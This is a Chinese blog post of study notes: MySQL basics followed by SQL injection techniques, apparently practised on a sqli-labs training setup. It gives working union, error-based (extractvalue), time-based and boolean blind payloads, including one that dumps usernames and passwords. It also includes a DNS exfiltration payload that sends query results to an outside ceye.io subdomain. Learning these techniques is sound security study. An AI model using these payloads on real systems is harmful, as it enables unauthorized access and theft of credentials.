sql注入知识点总结

mysql基础知识

  • 删除数据库 drop database 库名;
  • 创建数据库 create database 库名;
    • php中使用sql语句来创建
    • $sql = 'create database database_name';
    • $retval = mysqli_query($coon,$sql);
  • 选择数据库 use database_name;
    • php中使用 mysqli_select_db($conn,'database_name')
  • 创建数据表
    • create table table_name(column1 datatype, column2 datatype);
  • 插入数据
    • 使用insert into table_name(column1,column2,column3,...) values(value1,value2,value3,...);
    • 如果数据是字符型 需要用单引号或者双引号
    • 使用select * from table_name; 查询
  • 使用 rename table table_name to newtable_name 来修改数据表的名称
  • 使用 alter table table_name character set utf8 来修改字符级
  • 使用 alter table table_name add column_name 数据类型 来增加一列内容
  • 使用update table_name set column_name = xx 来修改所有该列名的值 可以通过 where xx = xx 限定
  • alter table 表名 drop 列名 删除列
  • delete from 表名 where xx=xx 删除行
  • delete from 表名 删除表
  • substring(主体,1,30)表示从1看到30
  • concat(1,2) 表示拼接
  • group_concat() 同一行显示
  • as a 表示别名为a as前面是某些语句 a表示查询的结果的别名
  • count(*) 汇总函数
  • rand() 随即返回0~1之间的小数
  • floor() 小数向下取整数 向上取整数用ceiling()
  • concat_was() 将括号内的数据用第一个字段连接起来
  • group by 分组
  • limit 用来显示指定行数

information_schema

  • 这是一个元数据库 其中包含很多表 比如下面三个 打开某个表后 就能看见里面的字段有什么
  • 其中包含一些表
  • SCHEMATA: 包含关于数据库实例的信息,如数据库名称、所有者等。
  • TABLES: 包含关于数据库中表的信息,如表名称、所属数据库、表类型等。
  • COLUMNS: 包含关于表中列的信息,如列名称、数据类型、是否为主键等。

查询注入模块

字符型与数字型的区分以及闭合方式的区分

数字型注入

  • 可以使用 id = 1 和id = 2-1来看结果是不是相同

  • 再用id = 3-1 等查看(如果2不在数据库中则返回NULL)
    字符型注入

  • 例如 username= 'or 1=1 #

  • 实际执行的语句为 select id from users where username=' 'or 1=1 #'

  • 因为username=空返回false 但1 =1 为true 所以是true

  • 所以会返回所有结果集

联合查询

union注入

  • union是一个sql关键字,union可以将两个select语句的结果合并到一个结果集中,但要求两个select语句拥有相同的列数。
  • 例如 select username from users where id=0 union select password from users
  • 用union查询的时候 必须保证前后的列数相等 如果不等可以在select 后面随意加,x
  • 用 group by order by 来判断列数
  • limit 限制输出的数量 比如 加上 limit 1,3 表示从第一行开始显示3行
  • group_concat 多行合并为一行输出回显

报错注入

  • 利用报错之 extractvalue报错注入
  • http://sql/Less-5/?id=1' and 1=extractvalue(2,concat(0x7e,(select database()))) --+
  • http://sql/Less-5/?id=1' and 1=extractvalue(2,concat(0x7e,(select group_concat(username,password) from users))) --+
  • updatexml updatexml(1,2,3) 其中2写payload
  • floor

时间盲注

  • username=' or sleep(1) #
  • 会产生一秒左右延迟
  • 使用if函数进行条件判断 当if第一个参数为真时进行延时
  • 输入username=' or if(1=1,sleep(1),1) #
  • 当第一个参数为真时执行第二个参数 为假时执行第三个参数
  • 可以用substr函数来判断真假 通过有无延迟判断是否重合

布尔盲注

  • username=' or substr(password, ,1)='1' #
  • substr 是一个字符串截取函数 第一个参数是要截取的字符串 第二个是截取开始的位置 第三个是截取长度
  • 通过burp或者python脚本进行盲注

dns注入

  • 使用一些第三方平台 平台会给我们子域名 然后我们用load_file() 命令 去读取子域名 会进行dns解析 然后第三方平台会记录解析行为 然后用concat拼接上payload 最后第三方平台查看回显
  • http://sql/Less-9/?id=1' and (SELECT LOAD_FILE(CONCAT('\\',(SELECT database()),'.k3dxl3.ceye.io\test.txt'))) --+
posted @   DawnLM  阅读(17)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 分享一个免费、快速、无限量使用的满血 DeepSeek R1 模型,支持深度思考和联网搜索!
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· ollama系列01:轻松3步本地部署deepseek,普通电脑可用
· 25岁的心里话
· 按钮权限的设计及实现

阅读目录(Content)

此页目录为空

点击右上角即可分享
微信分享提示